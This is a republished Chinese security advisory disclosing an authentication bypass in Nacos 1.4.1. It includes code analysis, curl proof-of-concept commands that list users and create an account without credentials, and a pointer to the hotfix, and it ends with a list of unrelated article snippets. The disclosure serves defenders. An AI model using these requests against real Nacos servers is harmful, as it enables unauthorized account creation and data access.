Nacos 惊爆安全漏洞,可绕过身份验证(附修复建议)

article/2025/10/5 19:37:41

作者 | threedr3am

来源 | https://github.com/alibaba/nacos/issues/4701

我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。

通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {@Autowiredprivate AuthConfigs authConfigs;@Autowiredprivate AuthManager authManager;@Autowiredprivate ControllerMethodsCache methodsCache;private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {if (!authConfigs.isAuthEnabled()) {chain.doFilter(request, response);return;}HttpServletRequest req = (HttpServletRequest) request;HttpServletResponse resp = (HttpServletResponse) response;if (authConfigs.isEnableUserAgentAuthWhite()) {String userAgent = WebUtils.getUserAgent(req);if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {chain.doFilter(request, response);return;}} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())) {String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {chain.doFilter(request, response);return;}Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),req.getRemoteHost());} else {resp.sendError(HttpServletResponse.SC_FORBIDDEN,"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");return;}try {Method method = methodsCache.getMethod(req);if (method == null) {chain.doFilter(request, response);return;}}}}

可以看到,上面三个if else分支:

第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);

第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复

第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {chain.doFilter(request, response);return;
}

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

再往下看,代码来到:

Method method = methodsCache.getMethod(req);if (method == null) {chain.doFilter(request, response);return;
}

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {String path = getPath(request);if (path == null) {return null;}String httpMethod = request.getMethod();String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);if (CollectionUtils.isEmpty(requestMappingInfos)) {return null;}List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);if (CollectionUtils.isEmpty(matchedInfo)) {return null;}RequestMappingInfo bestMatch = matchedInfo.get(0);if (matchedInfo.size() > 1) {RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();matchedInfo.sort(comparator);bestMatch = matchedInfo.get(0);RequestMappingInfo secondBestMatch = matchedInfo.get(1);if (comparator.compare(bestMatch, secondBestMatch) == 0) {throw new IllegalStateException("Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "+ secondBestMatch + "}");}}return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {String path = null;try {path = new URI(request.getRequestURI()).getPath();} catch (URISyntaxException e) {LOGGER.error("parse request to path error", e);}return path;
}

这个代码里面,可以很明确的看到,method值的返回,取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

new URI(request.getRequestURI()).getPath()

一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

二、漏洞影响范围

影响范围:1.4.1

三、漏洞复现

访问用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,绕过了鉴权,返回了用户列表数据

{"totalCount": 1,"pageNumber": 1,"pagesAvailable": 1,"pageItems": [{"username": "nacos","password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]
}

添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,绕过了鉴权,添加了新用户

{"code":200,"message":"create user ok!","data":null
}

再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{"totalCount": 2,"pageNumber": 1,"pagesAvailable": 1,"pageItems": [{"username": "nacos","password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"},{"username": "test","password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"}]
}

访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

三、 修复建议

2021年1月14日 Nacos 1.4.1刚发布,会直接在1.4.1进行hotfix。

请用户直接下载最新的1.4.1版本进行部署升级。

https://github.com/alibaba/nacos/releases/tag/1.4.1

BugFix

-[#4701] Fix bypass authentication(identity) problem.

https://github.com/alibaba/nacos/issues/4701

往期推荐

手握2.2亿美元,但想不起密码,还有两次机会,一起支支招啊!

JAR冲突问题的解决以及运行状态下如何查看加载的类

历史上的 996

新同事上来就把项目性能优化了一遍,瑟瑟发抖。。。

Java微服务 vs Go微服务,究竟谁更强!?

天才安全大佬即将拿股票前被拼多多辞退,原因是不愿意做黑客攻击?



http://chatgpt.dhexx.cn/article/10kpAJxy.shtml

相关文章

web渗透测试----18、访问控制和权限提升

文章目录 一、什么是访问控制&#xff1f;二、什么是访问控制安全模型&#xff1f;1、程序访问控制2、自由访问控制&#xff08;DAC&#xff09;3、强制访问控制&#xff08;MAC&#xff09;4、基于角色的访问控制&#xff08;RBAC&#xff09; 三、垂直访问控制1、敏感功能可直…

WEB>SSRF(URL Bypass,数字IP Bypass,302跳转Bypass,DNS重绑定Bypass)

目录 一、URF Bypass 二、 数字IP Bypass 三、302跳转 Bypass 四、 DNS重绑定Bypass 一、URF Bypass 题目&#xff1a; 解题思路&#xff1a; 1.根据上图提示构造 urlhttp://notfound.ctfhub.com127.0.0.1/flag.php 2.访问得到flag 二、 数字IP Bypass 题目&#xff1a…

Oxeye在Harbour中发现了几个高危 IDOR 漏洞

Oxeye安全研究团队在Harbor(由云本地计算基金会(CNCF)和VMWare开发的开源构件注册中心)中发现了几个高严重性不安全的直接对象引用(IDOR)漏洞。 该公司解释说&#xff0c;尽管Harbor已在大多数HTTP端点上实施了基于角色的访问控制 (RBAC)&#xff0c;但仍发现了这五个缺陷。 …

Lab: Insecure direct object references:不安全的直接对象引用

靶场内容&#xff1a; 该实验室将用户聊天记录直接存储在服务器的文件系统上&#xff0c;并使用静态 URL 检索它们。 通过找到用户的密码carlos并登录他们的帐户来解决实验室问题。 漏洞分析&#xff1a; 这个就是在网站里面将聊天记录存储在文件里而其他用户又可以访问这个文件…

Webgoat--访问控制缺陷

不安全的直接对象引用 &#xff08;IDOR水平权限越权&#xff09; 定义 不安全的直接对象引用&#xff08;IDOR&#xff09;允许攻击者绕过网站的身份验证机制&#xff0c;并通过修改指向对象链接中的参数值来直接访问目标对象资源&#xff0c;这类资源可以是属于其他用户的数…

开源API越权漏洞检测系统推荐:IDOR_detect_tool

相信大部分读者跟我一样&#xff0c;每天都在写各种API为Web应用提供数据支持&#xff0c;那么您是否有想过您的API是否足够安全呢&#xff1f; Web应用的安全是网络安全中不可忽视的关键方面。我们必须确保其Web应用与后台通信的安全&#xff0c;以防止数据泄露&#xff0c;因…

漏洞挖掘丨敏感信息泄露+IDOR+密码确认绕过=账户劫持

获得账户auth_token 目标网站是一个工作招聘门户网站&#xff0c;测试保密原因暂且称其为redacted.com。一开始&#xff0c;我登录以应聘者身份去测试CSRF或某些存储型XSS&#xff0c;但没什么发现。接下来&#xff0c;我就想到了越权测试&#xff08;IDOR&#xff09;&#xf…

挖洞经验丨敏感信息泄露+IDOR+密码确认绕过=账户劫持

本文中涉及到的相关漏洞已报送厂商并得到修复&#xff0c;本文仅限技术研究与讨论&#xff0c;严禁用于非法用途&#xff0c;否则产生的一切后果自行承担。 今天分享的这篇Writeup是作者在HackerOne上某个邀请测试项目的发现&#xff0c;目标网站存在不安全的访问控制措施&…

Redis 4.x/5.x IDOR漏洞复现

Redis 4.x/5.x 未授权访问漏洞 Redis未授权访问在4.x/5.0.5以前版本下&#xff0c;我们可以使用master/slave模式加载远程模块&#xff0c;通过动态链接库的方式执行任意命令。 漏洞复现 最近碰到ctf的题目是通过ssrf和redis的未授权访问打入内网getshell&#xff0c;想着用…

win2008r2用户账户控制什么意思_敏感信息泄露+IDOR+密码确认绕过=账户劫持

今天分享的这篇Writeup是作者在HackerOne上某个邀请测试项目的发现&#xff0c;目标网站存在不安全的访问控制措施&#xff0c;可以利用其导致的敏感信息泄露(auth_token) 密码重置限制绕过&#xff0c;以越权(IDOR)方式&#xff0c;实现网站任意账户劫持(Takeover)。整个测试过…

IDOR漏洞接管Facebook页面,获1万6千美金奖励

印度小哥的自拍有点曝光过度了啊 Facebook能给出这么高的奖励&#xff0c;好棒啊 发现Facebook零日漏洞&#xff0c;获得10万7千元人民币奖励 安全研究人员发现Facebook存在零日漏洞&#xff01;可以接管Facebook的任何页面。 Facebook几乎是中小企业推广自家产品的最高效…

会话Cookie中的IDOR导致批量帐户泄露

如果你熟悉IDOR是什么&#xff0c;你将知道它可以在url&#xff0c;请求正文&#xff0c;GET或POST请求等任何地方&#xff0c;也可以在cookie中。 当我注意到Cookie中有一个被称为shoppingID会话Cookie的事件时&#xff0c;In试图重现CSRF问题。 在仔细查看了cookie的价值之…

学习笔记-IDOR

IDOR 整个部分结构大部分基于乌云的几篇密码找回、逻辑漏洞类文章,在其基础上记录和归纳 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲 认证绕过 未授权访问身份认证绕过密码重置验证码突破Ticket_Trick …

tryhackme圣诞挑战2021-Advent of Cyber 3-day1-IDOR漏洞,不安全的访问控制漏洞

文章目录 第一天IDOR漏洞是什么&#xff1f;通常出现的地方查询get请求post的表单的值cookies 挑战初探挑战的问题 第一天 货物系统出现了问题&#xff0c;让我们想办法进行修复! IDOR漏洞是什么&#xff1f; Insecure Direct Object Reference&#xff0c;不安全的直接对象…

IDOR漏洞

IDOR漏洞 一、概述 IDOR&#xff0c;Insecure Direct Object reference&#xff0c;即"不安全的直接对象引用"&#xff0c;场景为基于用户提供的输入对象进行访问时&#xff0c;未进行权限验证&#xff0c;是一类访问控制漏洞。在OWASP API安全前10名的API漏洞中排名…

IDORs:它们是什么,你如何测试它们?

它是什么 IDOR&#xff1a;不安全的直接对象引用 照片由Muhannad Ajjan在Unsplash上拍摄 这些类型的漏洞源于访问控制问题。我们将用另一整章来讨论这些类型的漏洞。IDOR 一词因出现在 OWASP 前 10 名中而广受欢迎&#xff0c;但实际上它只是另一种类型的访问控制问题。IDOR …

什么是IDOR(不安全的直接对象引用)

自从2010年开始&#xff0c;不安全的直接对象引用&#xff08;IDOR&#xff09;就已经成为了OWASP Top 10 Web应用安全风险中影响程度排名第四的安全漏洞了。 IDOR将允许一名授权用户获取其他用户的信息&#xff0c;意指一个已经授权的用户通过更改访问时的一个参数&#xff0…

Opencv—— 拟合直线

概念 最小二乘法是勒让德( A. M. Legendre)于1805年在其著作《计算慧星轨道的新方法》中提出的。 最小二乘法就是通过最小化误差的平方和&#xff0c;使得拟合对象无限接近目标对象。在图像处理中主要用于拟合线&#xff0c;通过求采样点距离误差最小的线&#xff0c;可以是直…

用线性回归拟合直线

#代码如下 //vDataX x点的坐标 //vDataY y点的坐标 //srcStart 要计算的x点 //outStart 输出的对应Y值 bool CalcLineFit(double srcStart, std::vector<double> vDataX,std::vector<double> vDataY, double& outStart) {double s_x_ag 0, e_x_ag 0;double…

梯度下降法拟合直线

给定300个样本点(x, y)。拟合直线&#xff1a; 设直线方程为y w*x b 其中&#xff1a;x&#xff0c;y是给定的样本点&#xff0c;作为训练集。w和b是待拟合的参数。 该问题可以转化为&#xff0c;优化函数 f(w, b) y - w*x - b 使用平方损失&#xff0c;转化为优化&…